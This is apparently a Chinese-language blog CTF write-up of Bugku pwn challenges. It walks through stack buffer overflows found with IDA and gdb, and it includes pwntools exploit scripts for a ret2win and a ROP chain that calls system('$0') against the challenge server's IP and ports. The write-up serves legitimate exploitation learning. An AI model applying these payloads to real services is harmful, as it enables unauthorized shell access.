pwn学习-bugku

发布于 2020-11-10  1601 次阅读


0x00 pwn1

第一题很简单,nc连接后直接就有执行权限。

ls获取文件列表,cat flag就拿到了flag。

0x01 pwn2

第二题,下载文件,checksec查看文件保护和文件类型。

将文件拖入ida,发现了get_shell_函数

F5查看main函数代码,发现s申请了0x30个字节,而read函数,最大能读取0X100个字符,就造成了栈溢出,我们只要将返回地址覆盖为get_shell_的地址就可以得到flag。

查看get_shell_函数,可以直接输出flag,只要将main的返回地址覆盖为get_shell_函数的地址就能拿到flag。

将文件用gdb打开,在read函数出下一个断点,运行,得到rbp当前指向的地址为0x7fffffffde80,rsi当前指向的地址为0x7fffffffde50,两者之差加上8就得到了地址偏移量。

最后是exp:

from pwn import *
conn = remote('114.116.54.89',10003)
shell_addr = 0x400751
payload = 'A' * (0X30+0x8) + p64(shell_addr)
conn.sendline(payload)
conn.interactive()

连接拿到flag。

0x02 pwn4

下载文件,用checksec检查文件保护机制,没有开启保护机制。

将文件拖入ida查看main函数,显然read函数就是我们的溢出点,申请了0x10的空间,read函数可以读入0x30的字符串。

然后检查有没有可以供我们利用的后门。shift+F12检查字符串,没有发现/bin/sh,查阅资料后得知$0也可以起到/bin/sh的作用,$0在linux中为为shell或shell脚本的名称。


system('/bin/bash')和system('$0')的效果是一样的。

然后发现名为sub_400751()的函数有system()函数,使用$0作为system()函数的参数就能成功获得权限。

查阅资料得知64位程序和32位程序的传参方式不一样,32位的函数调用使用栈传参,64位的函数调用使用寄存器传参,分别用rdi、rsi、rdx、rcx、r8、r9来传递参数(参数个数小于7的时候)。

我们利用ROPgadget工具进行查找,得到pop rdi ; ret 和$0的地址,system的地址直接在IDA中查看。


就拿到了我们需要的三个地址,就可以写exp了:

from pwn import *

conn = remote('114.116.54.89',10004)

system = 0x000000000040075A
shell_addr = 0x000000000060111f
pop_rdi = 0x00000000004007d3

payload = 'A' * (0X10+0x8) + p64(pop_rdi) + p64(shell_addr) + p64(system)

conn.sendline(payload)

conn.interactive()

拿到flag